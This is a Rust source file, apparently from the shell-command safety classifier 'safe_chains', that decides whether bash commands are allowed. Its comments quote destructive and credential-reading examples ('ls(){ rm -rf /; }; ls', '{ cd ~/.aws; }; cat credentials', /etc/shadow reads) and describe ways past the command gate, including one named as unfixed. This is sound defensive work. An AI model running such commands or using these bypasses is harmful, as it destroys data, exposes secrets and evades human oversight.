Skip to main content

safe_chains/cst/
check.rs

1pub(super) use super::classify_budget::ClassifyGuard;
2pub(crate) use super::classify_budget::charge_classify_work;
3use super::*;
4use crate::parse::Token;
5use crate::verdict::{SafetyLevel, Verdict};
6use crate::{handlers, pathctx::judging};
7
8pub fn command_verdict(input: &str) -> Verdict {
9    let Some(_guard) = ClassifyGuard::enter(input.len()) else {
10        return Verdict::Denied; // classification budget spent — fail closed
11    };
12    let Some(script) = parse(input) else {
13        return Verdict::Denied;
14    };
15    script_verdict(&script)
16}
17
18pub fn is_safe_command(input: &str) -> bool {
19    command_verdict(input).is_allowed()
20}
21
22thread_local! {
23    /// Functions DEFINED so far in the current classification, so a later call resolves to its body
24    /// (and a definition SHADOWS a same-named built-in — `ls(){ rm -rf /; }; ls` runs rm). Owned
25    /// clones (small); a thread-local can't borrow the CST. Latest definition wins.
26    static FUNCTIONS: std::cell::RefCell<Vec<(String, Script)>> =
27        const { std::cell::RefCell::new(Vec::new()) };
28    /// Function names whose CURRENT body we cannot attribute — redefined inside a compound, where
29    /// the shell keeps the new body but we cannot say which one ran. `lookup_function` reports them
30    /// as unknown, so a call falls through to ordinary dispatch and denies (fail-closed) rather
31    /// than resolving to a stale, more permissive definition.
32    static POISONED_FUNCS: std::cell::RefCell<Vec<String>> =
33        const { std::cell::RefCell::new(Vec::new()) };
34    /// Names currently being resolved — bounds recursion (direct AND mutual) and total call depth,
35    /// so `f(){ f; }` or a deep chain can't blow the stack; hitting the bound denies (fail-closed).
36    static RESOLVING: std::cell::RefCell<Vec<String>> = const { std::cell::RefCell::new(Vec::new()) };
37}
38
39const MAX_FUNC_DEPTH: usize = 32;
40
41/// The value a `$VAR`/`$1` binds to when the assigned/argument value is UNCERTAIN (a substitution,
42/// an unbound var, a reassignment to same). It looks like a path AND is unpinnable, so `$VAR/x`
43/// fail-closes in both gate layers rather than resolving to a stale or dropped value.
44const UNCERTAIN_VALUE: &str = "/__SAFE_CHAINS_CMDSUB__";
45
46struct FuncScope;
47impl Drop for FuncScope {
48    fn drop(&mut self) {
49        FUNCTIONS.with(|f| {
50            f.borrow_mut().pop();
51        });
52    }
53}
54
55fn define_function(name: String, body: Script) -> FuncScope {
56    FUNCTIONS.with(|f| f.borrow_mut().push((name, body)));
57    FuncScope
58}
59
60pub(super) fn lookup_function(name: &str) -> Option<Script> {
61    if POISONED_FUNCS.with(|p| p.borrow().iter().any(|n| n == name)) {
62        return None; // body unknown — deny rather than use a stale one
63    }
64    FUNCTIONS.with(|f| f.borrow().iter().rev().find(|(n, _)| n == name).map(|(_, b)| b.clone()))
65}
66
67/// Mark `name`'s body unknown for the rest of this evaluation. Not scoped by a guard: the shell's
68/// redefinition is not scoped either, and every classification starts with a fresh thread-local.
69fn poison_function(name: String) {
70    POISONED_FUNCS.with(|p| p.borrow_mut().push(name));
71}
72
73struct ResolveScope;
74impl Drop for ResolveScope {
75    fn drop(&mut self) {
76        RESOLVING.with(|r| {
77            r.borrow_mut().pop();
78        });
79    }
80}
81
82/// Begin resolving a call to `name`, unless it recurses, exceeds the depth cap, or exhausts the
83/// per-invocation classification budget — then return `None` and the caller treats it as an ordinary
84/// (unknown) command, which denies. The budget is what stops exponential FAN-OUT (`f(){ f2; f2; };
85/// f2(){ f3; f3; }; …`): the depth cap alone bounds a linear chain, but branching multiplies, so each
86/// resolution charges the shared `CLASSIFY_WORK` counter that also caps delegating-handler recursion.
87fn begin_resolving(name: &str) -> Option<ResolveScope> {
88    if !charge_classify_work(1) {
89        return None;
90    }
91    RESOLVING.with(|r| {
92        let mut stack = r.borrow_mut();
93        if stack.len() >= MAX_FUNC_DEPTH || stack.iter().any(|n| n == name) {
94            None
95        } else {
96            stack.push(name.to_string());
97            Some(ResolveScope)
98        }
99    })
100}
101
102fn script_verdict(script: &Script) -> Verdict {
103    walk_with_scope(script, |stmt| pipeline_verdict(&stmt.pipeline))
104        .into_iter()
105        .fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine)
106}
107
108/// Walk `script`'s statements IN ORDER, running `per_stmt` on each with the accumulated scope
109/// installed, and return the per-statement results.
110///
111/// The scope is: the running `cwd` (HP-19 — a later relative path resolves against a prior `cd`),
112/// plus `VAR=value` bindings and function definitions from EARLIER statements (bash semantics;
113/// released when this returns). Fail-open on cwd: an unresolvable `cd` leaves it unchanged.
114///
115/// Shared by `script_verdict` AND the explainer so both see the SAME scope. This is load-bearing for
116/// security: a definition that shadows a builtin (`ls(){ rm -rf /; }; ls`) must deny in BOTH — if the
117/// per-segment explain classified the `ls` call without the definition in scope, the hook's coverage
118/// fallback (which uses the explainer) would re-allow the very thing the whole-command verdict denied.
119pub(crate) fn walk_with_scope<T>(script: &Script, mut per_stmt: impl FnMut(&Stmt) -> T) -> Vec<T> {
120    let mut running = crate::pathctx::cwd();
121    let mut _vars: Vec<crate::pathctx::VarGuard> = Vec::new();
122    let mut _funcs: Vec<FuncScope> = Vec::new();
123    let mut out = Vec::with_capacity(script.0.len());
124    for stmt in &script.0 {
125        out.push({
126            let _cwd = crate::pathctx::enter_cwd(running.clone());
127            per_stmt(stmt)
128        });
129        let effects = shell_effects(&stmt.pipeline);
130        let next = cd_target(&stmt.pipeline).and_then(|t| crate::pathctx::join_cwd(running.as_deref(), &t));
131        if next.is_some() {
132            running = next;
133        } else if effects.cwd {
134            // The shell may have moved somewhere we cannot name — a `cd` inside a compound or a
135            // called function, or a bare `cd`/`cd -`. Keeping the old cwd would judge later
136            // relative paths against a directory the shell has left.
137            running = Some(crate::pathctx::UNRESOLVED_CWD.to_string());
138        }
139        for (name, value) in statement_assignments(&stmt.pipeline) {
140            _vars.push(crate::pathctx::enter_var(name, value));
141        }
142        // Rebinds the shell keeps but we cannot attribute — a `VAR=…` or `name() {…}` inside a
143        // compound or a called function. Pushed AFTER the precise bindings above so the uncertain
144        // value wins for that name; a statement handled precisely contributes nothing here.
145        for name in effects.vars {
146            _vars.push(crate::pathctx::enter_var(name, UNCERTAIN_VALUE.to_string()));
147        }
148        for name in effects.funcs {
149            poison_function(name);
150        }
151        if let [Cmd::FunctionDef { name, body }] = stmt.pipeline.commands.as_slice() {
152            _funcs.push(define_function(name.clone(), body.clone()));
153        }
154    }
155    out
156}
157
158/// How deep to chase function bodies. Bounded so a recursive definition cannot spin; hitting the
159/// bound reports a possible effect, which fails closed.
160const MAX_CD_SCAN_DEPTH: usize = 16;
161
162/// What running a statement may do to the CURRENT shell's state that we cannot attribute exactly.
163///
164/// bash isolates such effects in exactly two places — a SUBSHELL, and a stage of a multi-command
165/// pipeline. Everywhere else (brace group, `if`, `for`, `while`, `case`, a called function) a `cd`,
166/// a `VAR=…` or a `name() {…}` takes effect in the current shell and outlives the construct. The
167/// precise handling matches only statement-level forms, so all of those escaped tracking:
168/// `{ cd ~/.aws; }; cat credentials` was judged as a worktree read, and
169/// `VAR=./ok; { VAR=/etc/shadow; }; cat $VAR` kept the stale binding. Both are fail-OPEN — the
170/// stale state is the permissive one.
171///
172/// Whether the effect happened is unknowable (a branch may not be taken, a loop may not run), so
173/// the caller marks the cwd and the named bindings UNCERTAIN rather than guessing a value.
174#[derive(Default)]
175struct ShellEffects {
176    cwd: bool,
177    vars: Vec<String>,
178    funcs: Vec<String>,
179}
180
181/// The effects of one statement. Empty for a multi-stage pipeline, whose stages are subshells.
182fn shell_effects(pipeline: &Pipeline) -> ShellEffects {
183    let mut out = ShellEffects::default();
184    if let [only] = pipeline.commands.as_slice() {
185        // `seen` memoizes function bodies. Without it `f0(){ f1; f1; }; f1(){ f2; f2; }; …` costs
186        // 2^depth traversals — a depth cap bounds depth but not FAN-OUT, the same blow-up the
187        // classifier's own work budget exists for. Caught by the termination guard.
188        let mut seen = Vec::new();
189        scan_effects(only, MAX_CD_SCAN_DEPTH, &mut seen, &mut out);
190    }
191    out
192}
193
194fn scan_effects(cmd: &Cmd, depth: usize, seen: &mut Vec<String>, out: &mut ShellEffects) {
195    let Some(depth) = depth.checked_sub(1) else {
196        out.cwd = true; // out of budget — assume the worst
197        return;
198    };
199    match cmd {
200        Cmd::Simple(s) => {
201            let Some(name) = s.words.first().map(Word::eval) else {
202                return; // a bare `VAR=x` — handled precisely by `statement_assignments`
203            };
204            out.vars.extend(super::opaque::declared_names(s));
205            if name == "cd" {
206                out.cwd = true;
207                return;
208            }
209            // A CALL runs the body in THIS shell, so its effects escape with it.
210            if seen.contains(&name) {
211                return;
212            }
213            if let Some(body) = lookup_function(&name) {
214                seen.push(name);
215                scan_script_effects(&body, depth, seen, out);
216            }
217        }
218        // The two constructs the shell really does isolate, plus forms that run nothing.
219        Cmd::Subshell { .. } | Cmd::DoubleBracket { .. } | Cmd::FunctionDef { .. } => {}
220        Cmd::BraceGroup { body, .. } | Cmd::For { body, .. } => {
221            scan_script_effects(body, depth, seen, out);
222        }
223        Cmd::While { cond, body, .. } | Cmd::Until { cond, body, .. } => {
224            scan_script_effects(cond, depth, seen, out);
225            scan_script_effects(body, depth, seen, out);
226        }
227        Cmd::If { branches, else_body, .. } => {
228            for b in branches {
229                scan_script_effects(&b.cond, depth, seen, out);
230                scan_script_effects(&b.body, depth, seen, out);
231            }
232            if let Some(e) = else_body {
233                scan_script_effects(e, depth, seen, out);
234            }
235        }
236        Cmd::Case { arms, .. } => {
237            for a in arms {
238                scan_script_effects(&a.body, depth, seen, out);
239            }
240        }
241    }
242}
243
244/// Every statement of a body that the shell would run in the current shell: its assignments and
245/// function definitions rebind here, and its commands are scanned in turn.
246fn scan_script_effects(script: &Script, depth: usize, seen: &mut Vec<String>, out: &mut ShellEffects) {
247    for st in &script.0 {
248        for (name, _) in statement_assignments(&st.pipeline) {
249            out.vars.push(name);
250        }
251        if let [Cmd::FunctionDef { name, .. }] = st.pipeline.commands.as_slice() {
252            out.funcs.push(name.clone());
253        }
254        if let [only] = st.pipeline.commands.as_slice() {
255            scan_effects(only, depth, seen, out);
256        }
257    }
258}
259
260/// The target of a statement-level `cd DIR` (a single simple command named `cd`), for cwd
261/// tracking. `None` for anything else, or `cd` with no plain positional (bare `cd`, `cd -`).
262fn cd_target(pipeline: &Pipeline) -> Option<String> {
263    let [Cmd::Simple(s)] = pipeline.commands.as_slice() else {
264        return None;
265    };
266    if s.words.first()?.eval() != "cd" {
267        return None;
268    }
269    s.words.iter().skip(1).map(|w| w.eval()).find(|a| !a.starts_with('-'))
270}
271
272/// The variables a `while`/`until` condition of the form `read VAR…` (incl. `IFS= read -r VAR`) binds
273/// from stdin — its non-flag positionals — so the body's `$VAR` can be gated at the pipe's item locus.
274/// Empty for any other condition. (An exotic valued read flag's value may be over-included as a var
275/// name; harmless — it just binds a never-referenced name to the same workspace locus.)
276fn read_loop_vars(cond: &Script) -> Vec<String> {
277    let [stmt] = cond.0.as_slice() else {
278        return Vec::new();
279    };
280    let [Cmd::Simple(s)] = stmt.pipeline.commands.as_slice() else {
281        return Vec::new();
282    };
283    let words: Vec<String> = s.words.iter().map(Word::eval).collect();
284    if words.first().map(String::as_str) != Some("read") {
285        return Vec::new();
286    }
287    words[1..].iter().filter(|w| !w.starts_with('-')).cloned().collect()
288}
289
290/// The persistent bindings a STATEMENT establishes: a pure assignment `VAR=value` (a simple command
291/// with env and NO words). A prefix `VAR=x cmd` is excluded — per bash it doesn't persist and
292/// doesn't even affect `$VAR` in `cmd`'s own args. Each value is resolved against the bindings so far
293/// (so `B=$A/x` chains); a CERTAIN literal binds verbatim, an uncertain one binds the sentinel.
294fn statement_assignments(pipeline: &Pipeline) -> Vec<(String, String)> {
295    let [Cmd::Simple(s)] = pipeline.commands.as_slice() else {
296        return Vec::new();
297    };
298    if !s.words.is_empty() {
299        return Vec::new();
300    }
301    s.env.iter().map(|(name, value)| (name.clone(), certain_value(value))).collect()
302}
303
304/// A word's CERTAIN literal value for binding, or the unpinnable sentinel when uncertain. Resolves
305/// `$refs` against the current scope first, then requires no residual `$` and no substitution
306/// sentinel — a substitution (`$(…)`), an unbound var, or a reassignment-to-uncertain all fail here.
307fn certain_value(word: &Word) -> String {
308    let raw = crate::pathctx::expand_vars(&word.eval(), false).into_owned();
309    // A TAGGED substitution sentinel is certain enough to BIND: it already classifies to a known
310    // locus, so `OUT=$(pwd); … > "$OUT/raw/x"` gates the write at the worktree rather than
311    // fail-closing on a value it can in fact bound. Every other marker stays uncertain.
312    if raw.contains('$') || is_opaque_value(&raw) { UNCERTAIN_VALUE.to_string() } else { raw }
313}
314
315/// Whether an evaluated word carries a marker the classifier CANNOT bound: the opaque command
316/// substitution, a process substitution (a `/dev/fd` pipe), or arithmetic. Deliberately not a
317/// `__SAFE_CHAINS_` prefix test, which would also catch the tagged (bounded) substitution.
318pub(crate) fn is_opaque_value(raw: &str) -> bool {
319    ["__SAFE_CHAINS_CMDSUB__", "__SAFE_CHAINS_PROCSUB__", "__SAFE_CHAINS_ARITH__"]
320        .iter()
321        .any(|m| raw.contains(m))
322}
323
324#[cfg(test)]
325pub(crate) fn is_safe_script(script: &Script) -> bool {
326    script_verdict(script).is_allowed()
327}
328
329pub(crate) fn pipeline_verdict(pipeline: &Pipeline) -> Verdict {
330    let mut acc = Verdict::Allowed(SafetyLevel::Inert);
331    // The representative path-locus of the CURRENT stream (the previous stage's stdout), threaded so
332    // a line-preserving filter carries the producer's locus THROUGH it: in `find ./src | head | xargs
333    // cat`, `head`'s output items are still `find`'s worktree paths, so `xargs` gates them there
334    // instead of worst-casing. In `A | xargs CMD`, xargs injects A's items as CMD's operands (the
335    // same idea as `find -exec`'s `{}` binding, sourced from the pipe).
336    let (mut stream, mut items): (Option<String>, _) = (None, crate::pathctx::item_shape::UNKNOWN);
337    for (stage, cmd) in pipeline.commands.iter().enumerate() {
338        let _stdin = stream.clone().map(|r| super::opaque::enter_stdin(r, items));
339        acc = acc.combine(super::netargs::with_stdin(pipeline, stage, || cmd_verdict(cmd)));
340        items = super::opaque::stage_shape(cmd, items);
341        stream = Some(stage_output_repr(cmd, stream.as_deref()));
342    }
343    acc
344}
345
346/// The sentinel operand fed to an injecting consumer when the source is unknown/unmodeled. The
347/// leading `/` makes it LOOK like a path (so `pathgate`-gated readers like `od` gate it) and the
348/// cmdsub marker makes it unpinnable (so engine-resolved readers like `cat` worst-case it) — it
349/// must deny in BOTH gate layers.
350const UNKNOWN_ITEM: &str = "/__SAFE_CHAINS_CMDSUB__";
351
352/// A representative PATH for the items `cmd` emits on stdout given the stream repr it RECEIVED
353/// (`input`), used to gate an operand-injecting consumer downstream (`… | xargs cat`). A PRODUCER
354/// that provably emits workspace-bounded paths yields a worktree representative; a line-preserving
355/// FILTER carries `input` through unchanged; everything else worst-cases to `UNKNOWN_ITEM`.
356pub(super) fn stage_output_repr(cmd: &Cmd, input: Option<&str>) -> String {
357    let Cmd::Simple(s) = cmd else {
358        return UNKNOWN_ITEM.to_string();
359    };
360    let words: Vec<String> = s.words.iter().map(Word::eval).collect();
361    let Some(first) = words.first() else {
362        return UNKNOWN_ITEM.to_string();
363    };
364    let name = Token::from_raw(first.clone()).command_name().to_string();
365    let args: Vec<&str> = words[1..].iter().map(String::as_str).collect();
366    let through = || input.unwrap_or(UNKNOWN_ITEM).to_string();
367    match name.as_str() {
368        // find/fd emit paths UNDER their roots — the child of the worst root carries its locus.
369        //
370        // "Worst" by BOTH faces, not by whether the read is allowed. Selecting on `source_ok`
371        // dropped any root that merely reads fine, so `find app/.git` fell through to `.` and
372        // `find app/.git | while read f; do echo hi > "$f"; done` wrote into the frozen rung that
373        // `echo hi > app/.git/config` refuses. `.git` is exactly the path that reads fine and must
374        // not be written, so a read-face test could never see it.
375        "find" | "fd" | "fdfind" if super::opaque::prints_only_paths(&args) => {
376            let roots = find_roots(&args);
377            let base = roots
378                .iter()
379                .max_by_key(|r| {
380                    let (read, write) = (crate::engine::resolve::locus::read_locus(r), crate::engine::resolve::locus::write_locus(r));
381                    read.max(write)
382                })
383                .copied()
384                .unwrap_or(".");
385            // Same stand-in the `-exec` handlers bind `{}` to — one rule, one definition. It was two
386            // copies before, and the copy that got the shield fix was this one, so `find / | xargs
387            // cat` refused while `find / -exec cat {} \;` read the same files.
388            //
389            // Deliberately not applied to the arms below. `echo /etc/passwd | xargs cat` keeps its
390            // literal representative because the shield genuinely CAN check that one; the
391            // distinction is whether we hold the actual path or a placeholder for it.
392            crate::engine::resolve::locus::traversal_item(base)
393        }
394        // ls emits cwd-relative BASENAMES (worktree) unless `-d` echoes its (possibly absolute) args.
395        "ls" => {
396            if args.contains(&"-d") {
397                worst_arg_repr(&args)
398            } else {
399                "sc_item".to_string()
400            }
401        }
402        // echo/printf emit their args verbatim; the worst-locus arg is the representative.
403        "echo" | "printf" => worst_arg_repr(&args),
404        // git path-listers emit repo-relative paths (worktree, assuming the repo is the workspace).
405        "git" => match args.first() {
406            Some(&"ls-files") | Some(&"diff") | Some(&"status") | Some(&"grep") => "sc_item".to_string(),
407            _ => UNKNOWN_ITEM.to_string(),
408        },
409        // Line-preserving FILTERS: each output line is a WHOLE, unchanged input line, so the stream's
410        // item locus is unchanged — carry `input` through. Only when reading stdin (no file operand)
411        // and not byte-slicing (`head -c`, which can split a path); NOT `grep -o`/`sed`/`awk`/`cut`/`tr`
412        // (they can rewrite a line to ANY path — treating those as passthrough would be a bypass).
413        "sort" | "uniq" | "cat" | "tac" if !reads_a_file(&args) => through(),
414        "head" | "tail" if !reads_a_file_after_count(&args) && !args.iter().any(|a| *a == "-c" || a.starts_with("--bytes")) => through(),
415        // tee always forwards stdin→stdout (its file args are extra WRITES, gated elsewhere).
416        "tee" => through(),
417        _ => UNKNOWN_ITEM.to_string(),
418    }
419}
420
421/// Whether a filter reads a FILE rather than stdin (so it is NOT a stdin passthrough): a
422/// positional operand, or `sort`'s `--files0-from=F` / `--files0-from F`, which redirects it to
423/// emit the CONTENTS of the files listed in `F` — arbitrary file-derived output, not the piped
424/// stream. A lone `-` (explicit stdin) doesn't count. The `=`-glued flag form is a single token
425/// starting with `-`, so it must be matched explicitly or it would masquerade as a passthrough.
426fn reads_a_file(args: &[&str]) -> bool {
427    args.iter()
428        .any(|a| (!a.starts_with('-') && *a != "-") || *a == "--files0-from" || a.starts_with("--files0-from="))
429}
430
431/// Like `reads_a_file`, but skips the VALUE of `head`/`tail`'s count flags (`-n N`, `-c N`) so
432/// `head -n 5` (stdin) isn't mistaken for reading a file named `5`.
433fn reads_a_file_after_count(args: &[&str]) -> bool {
434    let mut i = 0;
435    while i < args.len() {
436        let a = args[i];
437        if matches!(a, "-n" | "-c" | "--lines" | "--bytes") {
438            i += 2; // flag + its value
439            continue;
440        }
441        if a.starts_with('-') || a == "-" {
442            i += 1;
443            continue;
444        }
445        return true; // a bare positional → a file operand
446    }
447    false
448}
449
450/// Whether reading `path` is admitted — i.e. it is a workspace-bounded source (worktree, `/tmp`,
451/// a granted dir), so paths derived from it are safe operands.
452fn source_ok(path: &str) -> bool {
453    crate::engine::resolve::read_content_verdict(path).is_allowed()
454}
455
456/// The worst-locus non-flag arg (for `echo`/`printf`, which emit args verbatim): the first arg
457/// whose read is denied, else a worktree placeholder.
458fn worst_arg_repr(args: &[&str]) -> String {
459    args.iter()
460        .filter(|a| !a.starts_with('-'))
461        .find(|a| !source_ok(a))
462        .map_or_else(|| "sc_item".to_string(), |a| (*a).to_string())
463}
464
465/// `find`'s root operands: after any leading global options (`-H`/`-L`/`-P`, `-D`/`-O V`), the
466/// positional args up to the first predicate (`-name`, `(`, `!`, …). Defaults to `.` (cwd).
467fn find_roots<'a>(args: &[&'a str]) -> Vec<&'a str> {
468    let mut i = 0;
469    while i < args.len() {
470        match args[i] {
471            "-H" | "-L" | "-P" => i += 1,
472            "-D" | "-O" => i += 2,
473            _ => break,
474        }
475    }
476    let mut roots = Vec::new();
477    while i < args.len() && !args[i].starts_with('-') && !matches!(args[i], "(" | "!" | ")" | ",") {
478        roots.push(args[i]);
479        i += 1;
480    }
481    if roots.is_empty() {
482        roots.push(".");
483    }
484    roots
485}
486
487pub fn is_safe_pipeline(pipeline: &Pipeline) -> bool {
488    pipeline_verdict(pipeline).is_allowed()
489}
490
491pub(crate) fn has_unsafe_syntax(cmd: &Cmd) -> bool {
492    match cmd {
493        Cmd::Simple(s) => !check_redirects(&s.redirs) || has_any_substitution(s),
494        _ => true,
495    }
496}
497
498fn has_any_substitution(cmd: &SimpleCmd) -> bool {
499    cmd.words.iter().any(has_substitution) || cmd.env.iter().any(|(_, v)| has_substitution(v))
500}
501
502/// A command rendered for comparison against the user's own `Bash(...)` allow-rules.
503///
504/// Includes the LEADING ENV ASSIGNMENTS. Dropping them meant a rule written for one command
505/// silently covered a different one: `Bash(~/runner-scripts/x.sh:*)` matched
506/// `WRITE=1 ~/runner-scripts/x.sh`, so a rule intended for a dry run pre-approved the mutating run.
507/// The user had even written separate `Bash(WRITE=1 …)` entries — necessary at the harness's own
508/// matcher, and quietly redundant here.
509///
510/// The rule must describe the command as TYPED. That is not a judgement about which variable names
511/// are dangerous (nothing here knows `LD_PRELOAD` from `NODE_ENV`) — it is only the requirement that
512/// an allow-rule cover what it claims to. A command carrying an assignment therefore matches only a
513/// rule that carries it too, and otherwise falls through to the harness's normal approval flow.
514///
515/// This is the USER-ALLOWLIST path alone. safe-chains' own knowledge of a command is consulted
516/// first and short-circuits before reaching here, so `LD_PRELOAD=… ls` is unaffected — see
517/// `docs/design/env-prefix-classification.md` for that separate, unfixed hole.
518/// `None` when the command cannot be rendered UNAMBIGUOUSLY, which callers must treat as "matches
519/// nothing".
520///
521/// An env value containing whitespace has no unambiguous flat rendering: `WRITE='1 script.sh' rm
522/// -rf /` and `WRITE=1 script.sh rm -rf /` produce the same string, but the first runs `rm` and the
523/// second runs `script.sh`. Since assignments sit BEFORE the program name, a value that swallows
524/// the rest of a pattern lets a rule for one program match a different one —
525/// `Bash(WRITE=1 script.sh:*)` would match `WRITE='1 script.sh' rm -rf /`. Refusing to render is the
526/// only honest answer; the alternative is a rule that silently covers a program it never named.
527///
528/// Words with whitespace are NOT refused: `git commit -m 'a message'` is ordinary and a rule like
529/// `Bash(git commit -m:*)` should keep covering it. A quoted word can shift an argument boundary,
530/// which is a pre-existing looseness of this matcher, but it cannot change which program runs —
531/// the program is the first word either way.
532pub(crate) fn normalize_for_matching(cmd: &SimpleCmd) -> Option<String> {
533    let mut parts = Vec::with_capacity(cmd.env.len() + cmd.words.len());
534    for (name, value) in &cmd.env {
535        let value = value.eval();
536        if value.chars().any(char::is_whitespace) {
537            return None;
538        }
539        parts.push(format!("{name}={value}"));
540    }
541    parts.extend(cmd.words.iter().map(|w| w.eval()));
542    Some(parts.join(" "))
543}
544
545pub(crate) fn cmd_verdict(cmd: &Cmd) -> Verdict {
546    match cmd {
547        Cmd::Simple(s) => simple_verdict(s),
548        Cmd::Subshell { body, redirs } | Cmd::BraceGroup { body, redirs } => {
549            let body_v = script_verdict(body);
550            if let Verdict::Denied = body_v {
551                return Verdict::Denied;
552            }
553            let redir_v = redirect_verdict(redirs);
554            if let Verdict::Denied = redir_v {
555                return Verdict::Denied;
556            }
557            body_v.combine(redir_v)
558        }
559        Cmd::For { var, items, body, redirs } => {
560            let redir_v = redirect_verdict(redirs);
561            if let Verdict::Denied = redir_v {
562                return Verdict::Denied;
563            }
564            // Bind `$var` in the body to the loop list's locus (the `find … {}`→path binding,
565            // one layer up), so `for f in *.txt; do cat $f` reads the worktree instead of
566            // fail-closing on the bare `$f`.
567            let item_strs: Vec<String> = items.iter().map(Word::eval).collect();
568            let body_v = match crate::engine::resolve::loop_reprs(&item_strs) {
569                Some((read_repr, write_repr)) => {
570                    let _g = super::opaque::enter_loop(var, items, read_repr, write_repr);
571                    super::netargs::with_loop(var, items, body, || script_verdict(body))
572                }
573                None => script_verdict(body),
574            };
575            words_sub_verdict(items).combine(body_v).combine(redir_v)
576        }
577        Cmd::While { cond, body, redirs } | Cmd::Until { cond, body, redirs } => {
578            let redir_v = redirect_verdict(redirs);
579            if let Verdict::Denied = redir_v {
580                return Verdict::Denied;
581            }
582            let cond_v = script_verdict(cond);
583            // `while read VAR; do … "$VAR" …` — bind each read var to the piped stdin's item locus,
584            // exactly as the `for`-loop binds its list var, so `find ./src | while read f; do cat "$f"`
585            // reads the worktree instead of fail-closing on the bare `$f`. Only when a modeled source
586            // set the stdin repr; otherwise the vars stay unbound (fail-closed).
587            let _binds: Vec<_> = match crate::pathctx::stdin_item_repr() {
588                Some(repr) => read_loop_vars(cond).into_iter().map(|v| super::opaque::enter_read_var(v, &repr)).collect(),
589                None => Vec::new(),
590            };
591            cond_v.combine(script_verdict(body)).combine(redir_v)
592        }
593        Cmd::If { branches, else_body, redirs } => {
594            let redir_v = redirect_verdict(redirs);
595            if let Verdict::Denied = redir_v {
596                return Verdict::Denied;
597            }
598            let mut v = redir_v;
599            for b in branches {
600                v = v.combine(script_verdict(&b.cond)).combine(script_verdict(&b.body));
601            }
602            if let Some(eb) = else_body {
603                v = v.combine(script_verdict(eb));
604            }
605            v
606        }
607        Cmd::DoubleBracket { words, redirs } => words_sub_verdict(words).combine(redirect_verdict(redirs)),
608        // Which arm runs is decided at runtime, so — exactly as for `If` — every arm body counts
609        // and the case is only as safe as its worst arm. The patterns are matched, never executed,
610        // but the SUBJECT is expanded, so its substitutions are gated like any other word.
611        Cmd::Case { subject, arms, redirs } => {
612            let redir_v = redirect_verdict(redirs);
613            if let Verdict::Denied = redir_v {
614                return Verdict::Denied;
615            }
616            let mut v = redir_v.combine(word_sub_verdict(subject));
617            for arm in arms {
618                v = v.combine(words_sub_verdict(&arm.patterns)).combine(script_verdict(&arm.body));
619            }
620            v
621        }
622        // Defining a function has NO effect — Inert regardless of the body. The body's safety is
623        // evaluated only when the function is CALLED (resolved in `simple_verdict`), so an UNCALLED
624        // definition never denies on its body.
625        Cmd::FunctionDef { .. } => Verdict::Allowed(SafetyLevel::Inert),
626    }
627}
628
629pub(crate) fn is_safe_cmd(cmd: &Cmd) -> bool {
630    cmd_verdict(cmd).is_allowed()
631}
632
633fn part_sub_verdict(part: &WordPart) -> Verdict {
634    match part {
635        WordPart::CmdSub(inner) | WordPart::ProcSub(inner) => script_verdict(inner),
636        WordPart::Backtick(raw) => command_verdict(raw),
637        WordPart::DQuote(inner) => word_sub_verdict(inner),
638        // Arithmetic is inert, but a `$( )` inside it runs — judged, not skipped.
639        WordPart::Arith(inner) => word_sub_verdict(inner),
640        _ => Verdict::Allowed(SafetyLevel::Inert),
641    }
642}
643
644fn word_sub_verdict(word: &Word) -> Verdict {
645    word.0.iter().map(part_sub_verdict).fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine)
646}
647
648fn words_sub_verdict(words: &[Word]) -> Verdict {
649    words.iter().map(word_sub_verdict).fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine)
650}
651
652#[cfg(test)]
653pub(crate) fn word_subs_safe(word: &Word) -> bool {
654    word_sub_verdict(word).is_allowed()
655}
656
657fn simple_verdict(cmd: &SimpleCmd) -> Verdict {
658    let redir_v = redirect_verdict(&cmd.redirs);
659    if let Verdict::Denied = redir_v {
660        return Verdict::Denied;
661    }
662
663    let env_sub_v = cmd
664        .env
665        .iter()
666        .map(|(_, v)| word_sub_verdict(v))
667        .fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine);
668    let word_sub_v = words_sub_verdict(&cmd.words);
669
670    // A LISTED assignment is classified by its value (`envvars.toml`): `GIT_SSH_COMMAND` carries a
671    // command, `LD_PRELOAD` a path supplying code. An unlisted name is Inert, so this changes
672    // nothing for ordinary invocations — `FOO=bar ls` classifies exactly as `ls` does.
673    //
674    // COMBINED, not merely checked for denial. An assignment that resolves to a LEVEL carries that
675    // level into the command: `RUSTFLAGS='-Cincremental=./x'` authorises a worktree write, so the
676    // invocation is a write even when the command word is inert. Propagating only `Denied` here
677    // meant `RUSTFLAGS='-Cincremental=./x' echo hi` passed at `paranoid`, while the same write
678    // spelled `touch ./x` did not.
679    let env_name_v = cmd
680        .env
681        .iter()
682        .map(|(name, value)| crate::envvars::assignment_verdict(name, &value.eval()))
683        .fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine);
684    let sub_v = env_sub_v.combine(word_sub_v).combine(env_name_v);
685
686    if let Verdict::Denied = sub_v {
687        return Verdict::Denied;
688    }
689
690    if cmd.words.is_empty() {
691        if cmd.env.is_empty() {
692            return Verdict::Allowed(SafetyLevel::Inert);
693        }
694        return sub_v.combine(redir_v);
695    }
696
697    let name = cmd.words[0].eval();
698
699    // Function CALL: a user function SHADOWS everything it names, INCLUDING builtins like `eval`
700    // (`eval(){ rm -rf /; }; eval "echo hi"` runs the function, not eval) — so resolve a defined name
701    // FIRST, before the eval special-case and the leaf dispatch. Classify its BODY with $1..$N bound
702    // to the call's args (certain literals; uncertain → unpinnable). The shadow is UNCONDITIONAL: if
703    // resolution is blocked (recursion / depth / budget) we FAIL CLOSED, never fall through to the
704    // real command — otherwise `…512 calls…; ls(){ rm -rf /; }; ls` would exhaust the budget and then
705    // run the real `ls` for the rebound name, a bypass.
706    if let Some(body) = lookup_function(&name) {
707        let Some(_resolving) = begin_resolving(&name) else {
708            return Verdict::Denied;
709        };
710        let _args: Vec<crate::pathctx::VarGuard> = cmd.words[1..]
711            .iter()
712            .enumerate()
713            .map(|(i, w)| crate::pathctx::enter_var((i + 1).to_string(), certain_value(w)))
714            .collect();
715        return sub_v.combine(super::netargs::with_args(cmd, || script_verdict(&body))).combine(redir_v);
716    }
717
718    if name == "eval" {
719        return eval_verdict(cmd).combine(sub_v).combine(redir_v);
720    }
721
722    // Brace-expand each word (`cat {/etc/shadow,x}` → two operands) so every alternative bash
723    // would run is classified — a braced word must not hide a system path from the gate.
